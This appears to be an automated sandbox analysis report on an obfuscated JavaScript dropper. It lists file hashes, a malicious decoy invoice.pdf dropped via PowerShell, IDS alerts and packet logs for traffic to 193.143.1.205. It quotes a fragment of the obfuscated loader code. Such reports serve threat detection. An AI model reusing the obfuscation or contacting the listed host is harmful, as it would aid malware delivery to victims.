SHA-512:	82B3E61B8C357C14E35E96D7B98AC41D4DE6490D99DAD7F1AA582EC88219A9CB7C20CD579B72B82138A88F28311B4F63B58D475311AB52A1614D87C93CE58533
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e89c7a55-d40f-414d-a8e8-95b7a98f51ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ef5251b3-4330-49db-9de1-f43e651a8a60.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17708), with CRLF line terminators
Entropy (8bit):	4.8976879073402415
TrID:
File name:	240815025266174071.js
File size:	21'208 bytes
MD5:	f15a02e60e4477ac959eed4f66f20afa
SHA1:	d9bb5c7b6cbce52069ef67dcff03f7859f83b2f5
SHA256:	a9d31b8fa9c1fdcac365bbfe5ca5d00be3e24dfaf789e59430fe005ce4c140f6
SHA512:	c841ebb94e5dd2b871102dc085fdbf2fbdbf577f6fe79acbed25f9c67a0ec81c3736dc15ef8e99cc690e8d636b3bc6b6162d3d990319c55e8e4f3131142ee2bb
SSDEEP:	192:hPeHmBukBk4QI8vxJvBE9Ptw5oDGQPbQ3YyqduZD3tHLEvGIUWalX5CP42C4:pnQd/vBEMuDGJYykuZbtrnIUB2b
TLSH:	D592778AC5E6CE13FFE161B1F5C609B883AC044C8D9A5DC590873E548658EB07DF26F6
File Content Preview:	function gvqtznuen(){oqfbbuh=[1031,3079,5127,4103,2055,3072];var oiejnvmvp=this[zcrxuhxel+uwpni+fhaswn+gpxxmx+tuknaha+njbaj+ayrhbzpmx+gczmpzmr](this[jwhgn+ydkwma+flekpixqb+fhaswn+ypbafze+zcrxuhxel+gczmpzmr][hcfbv+fhaswn+tuknaha+uwpni+gczmpzmr+tuknaha+rgku

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:46:25.952833+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49747	193.143.1.205	80	TCP
2025-01-10T23:46:28.015338+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49758	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:25.125403881 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.130431890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.130556107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.134037018 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.139678001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952744961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952766895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952780008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952791929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952811956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952832937 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.952847958 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952858925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952872992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952888012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952899933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.952903032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952920914 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.952934980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.952950954 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.962143898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.962156057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.962198019 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:25.962249994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.962260962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:25.962292910 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.041379929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041399956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041420937 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041433096 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041446924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041450977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.041512012 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.041714907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041734934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041747093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041755915 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.041759968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041774035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.041785955 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.041815042 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.042433977 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.042447090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.042459011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.042484045 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.042491913 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.042496920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.042525053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.043339014 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.043356895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.043369055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.043380976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.043389082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.043395042 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.043417931 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.043450117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.046322107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.048852921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.048893929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.087539911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.087555885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.087568998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.087579966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.087610006 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.087790966 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.128232002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.128247976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.128290892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.166872978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.166899920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.166913033 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.166924953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.166939020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.166961908 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167006969 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167112112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167124033 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167135000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167159081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167186022 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167186022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167200089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167213917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167226076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167234898 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167265892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.167980909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.167994976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168006897 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168028116 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.168050051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168065071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168092966 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.168582916 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168595076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168606997 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168622971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.168636084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168646097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.168649912 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168664932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.168698072 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.169255018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169269085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169281006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169301987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.169337988 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.169346094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169363976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169378042 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169390917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.169400930 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.169430017 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.170145035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170157909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170171022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170190096 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170197010 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.170202017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170216084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170223951 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.170228958 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.170255899 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.174246073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.174257994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.174269915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.174293995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.174345016 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.212579012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212593079 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212604046 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212637901 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.212713957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212727070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212738037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212779999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.212872982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212893009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.212939978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.253520012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.253535032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.253546953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.253560066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.253602028 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.253626108 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.292308092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292325974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292339087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292351007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292362928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292449951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292473078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292479038 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.292489052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292522907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292536020 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.292542934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292579889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292589903 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.292593002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292608023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292625904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.292634010 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.292668104 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293174982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293188095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293237925 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293277025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293289900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293301105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293325901 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293355942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293369055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293389082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293401003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293401957 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293412924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293436050 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293456078 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.293910027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293930054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293943882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.293977976 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294023991 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294037104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294048071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294059992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294064045 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294092894 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294126034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294138908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294150114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294197083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294199944 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294224977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294851065 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294863939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294874907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294898987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294914961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.294917107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294929981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294940948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.294946909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295001984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295001984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295044899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295057058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295069933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295082092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295101881 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295120955 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295753002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295763969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295777082 CET	80	49747	193.143.1.205	192.168.2.9
